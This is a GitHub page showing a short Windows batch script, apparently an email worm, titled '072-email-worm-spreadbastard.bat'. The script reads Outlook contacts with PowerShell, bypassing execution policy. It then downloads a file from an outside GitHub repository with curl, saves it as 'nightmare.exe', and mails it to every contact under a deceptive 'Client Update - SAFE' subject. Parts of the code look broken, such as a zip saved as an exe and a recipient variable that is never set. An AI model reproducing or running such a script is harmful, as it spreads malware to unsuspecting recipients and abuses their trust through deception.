-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy path072-email-worm-spreadbastard.bat
20 lines (14 loc) · 1.12 KB
/
072-email-worm-spreadbastard.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@echo off
set "emailSubject=Client Update - SAFE"
set "emailBody=Please find the most recent update file attached."
set "[email protected]"
set "senderPassword=yourpa$$w0rd"
set "smtpServer=smtp.gmail.com"
set "smtpPort=587"
REM Retrieve contacts from Outlook using PowerShell
powershell.exe -ExecutionPolicy Bypass -Command "$Outlook = New-Object -ComObject Outlook.Application; $Contacts = $Outlook.Session.GetDefaultFolder(10).Items; $RecipientEmails = $Contacts | ForEach-Object { $_.Email1Address } | Where-Object { $_ -ne $null }; $Recipients = $RecipientEmails -join ' '; $Recipients"
REM Download worm
curl -L "https://github.com/scumdestroy/wormed/archive/master.zip" -o "C:\temp\nightmare.exe"
REM Send to all contacts
powershell.exe -ExecutionPolicy Bypass -Command "Send-MailMessage -From '%senderEmail%' -To '%Recipients%' -Subject '%emailSubject%' -Body '%emailBody%' -Attachments 'C:\temp\nightmare.exe' -SmtpServer '%smtpServer%' -Port '%smtpPort%' -Credential (New-Object System.Management.Automation.PSCredential('%senderEmail%',(ConvertTo-SecureString -String '%senderPassword%' -AsPlainText -Force)))"
pause